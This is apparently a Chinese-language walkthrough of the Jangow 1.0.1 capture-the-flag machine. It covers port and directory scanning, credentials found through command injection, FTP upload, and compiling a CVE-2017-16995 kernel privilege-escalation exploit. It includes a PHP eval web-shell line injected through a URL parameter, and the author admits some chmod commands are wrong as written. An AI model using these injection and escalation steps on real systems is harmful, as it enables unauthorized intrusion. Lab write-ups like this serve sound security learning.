JANGOW: 1.0.1
今天学习一下枚举靶场jangow，但是遇到了一些意外，刚打开的时候遇到一个（vmui）的报错:
VMware Workstation 不可恢复错误：(vmui) 错误代码0xc0000094
solution：将文件的兼容性更改为vmware station 16.x，点开文件，右键 > 管理 > 更改文件兼容性即可。
然后打开以后发生如下报错：
而且扫不出来：
┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:ef:8a:72, IPv4: 192.168.244.133
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.244.1 00:50:56:c0:00:08 (Unknown)
192.168.244.2 00:50:56:ff:22:db (Unknown)
192.168.244.254 00:50:56:ee:9a:ca (Unknown)
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.847 seconds (138.60 hosts/sec). 3 responded
┌──(root㉿kali)-[/home/kali]
└─# sudo netdiscover -i eth1 -r 192.168.244.0/24
pcap_open_live(): eth1: No such device exists (No such device exists)网络没配置成功，没道理的，这里我已经设置了NET模式了，查阅相关资料以后，我尝试更改成桥接模式：
还是和之前一样的报错，注意到在打开过程中出现了一个报错：
莫非。。。再次更改文件兼容性：
失败，这个虚拟机的系统是由有密码的，先尝试找一下密码：
然后进行恢复：
而尝试密码并不能登录上去。。。没办法了，尝试使用virtual box进行使用。。。。
就很神奇，扫一下试试：
可以访问到，使用nmap还有Gobuster进行扫描：
Nmap扫描
sudo nmap -sS -sV -sC -Pn -p- -A 192.168.56.118 -oN jangow_scan.txt
# TCP扫描sS是SYN扫描，半连接扫描，nmap只发送SYN报文，通过服务器是否响应SYN+ACK来判断对应端口是否开放
# TCP扫描sT是全连接扫描会和服务器建立完整的三次握手，效率低
# -sV:探测开放的端口的系统/服务信息
# -sC:执行默认脚本扫描
# -Pn：跳过主机发现，视所有主机都在线
# -p:指定端口扫描范围
# -p-:用于指定扫描所有端口
# -A：使能系统探测、版本检测、脚本扫描、路由追踪
# -oN:输出到指定文件实战发现扫描过慢，修改参数进行扫描，结果为：
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.56.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 23:33 EST
Nmap scan report for 192.168.56.118
Host is up (0.0015s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
110/tcp open pop3
Nmap done: 1 IP address (1 host up) scanned in 4.81 secondsGobuster扫描
还可以使用Gobuster进行扫描：
gobuster dir -u https://192.168.56.118 -w /usr/share/wordlists/dirbuster directory-list-lowercase-2.3-medium.txt -x .js,.txt,.php,.sh
# -u选项指定目标 URL，-w指定与 Gobuster 结合使用的单词列表，-x允许您指定要搜索的文件类型。结果为：
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.56.118 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .js,.txt,.php,.sh
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.118
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js,txt,php,sh
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/site (Status: 301) [Size: 315] [--> http://192.168.56.118/site/]
/.php (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1038215 / 1038220 (100.00%)
===============================================================
Finished
===============================================================访问站点踩点
尝试访问站点：
瞎点点看看，发现buscar可以点进去，且使用的是get参数，尝试进行传参：
查看隐藏文件：
发现了账号密码：jangow01和abygurl69.
ftp登录
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||28341|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Oct 31 2021 html
226 Directory send OK.
ftp> cd /home
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||14452|)
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Jun 10 2021 jangow01
226 Directory send OK.
ftp> cd jangow01
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||42477|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Jun 10 2021 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||5901|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**********************************************************| 33 31.19 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (9.66 KiB/s)
ftp> quit
221 Goodbye.
┌──(kali㉿kali)-[~]
└─$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e然后尝试登录靶机试试：
发现内核版本过低，查找相关漏洞：
我改名为cve-2017-16995.c了！将文件进行ftp传过去：
┌──(root㉿kali)-[/home/kali/nmap/jangow]
└─# ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put cve-2017-16995.c
local: cve-2017-16995.c remote: cve-2017-16995.c
229 Entering Extended Passive Mode (|||39018|)
553 Could not create file.
ftp> ls
229 Entering Extended Passive Mode (|||7501|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Oct 31 2021 html
226 Directory send OK.
ftp> cd /home/jangow01
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||16802|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Jun 10 2021 user.txt
226 Directory send OK.
ftp> put cve-2017-16995.c
local: cve-2017-16995.c remote: cve-2017-16995.c
229 Entering Extended Passive Mode (|||6339|)
150 Ok to send data.
100% |********************************| 13728 50.74 MiB/s 00:00 ETA
226 Transfer complete.
13728 bytes sent in 00:00 (3.13 MiB/s)然后编译：
gcc cve-2017-16995.c -o cve-2017-16995提升一下权限：
chmod +x ./cve-2017-16995按理说接下来直接运行即可，但是这边的机器不知道咋回事，可能是按键映射有问题，搞不了，气死我了，传一个shell上去，利用菜刀进行控制吧。。。
尝试传入shell：
http://192.168.56.118/site/busque.php?buscar=echo '<?php @eval($_POST['hack']); ?>' >> hack.php
这是个十分愚蠢的错误，权限不足。。。。。（这里写的是 - 。。。。）
先进入前面一个目录，再使用tab补全出来，就会出现反斜杠了，然而我打开以后并不能进行执行：
我真的无语了，查看别的师傅的wp，基本到这里就结束了，可能是我哪里操作有点问题，一直检测不出来，就蛮无语的。。。。（我是sb，这里减少权限了，我居然一直没看出来）
但是还是要做的，在本地编译好，放到蚁剑上上传一下试试：
然后执行，失败。。。
经过我反复进行尝试最后发现，在jangow01操作时需要对cve-2017-16995.c进行更改权限才行。。。
chmod -x cve-2017-16995.c
gcc cve-2017-16995.c -o cve-2017-16995
./cve-2017-16995（操作一直都是错的，居然可以得到flag..)
得到flag：
真要命啊。。。但是总算功德圆满了。。。
（师傅们不要骂，这是打错了，sb了那一天。。这里所有的chmod -x都要换成chmod +x）
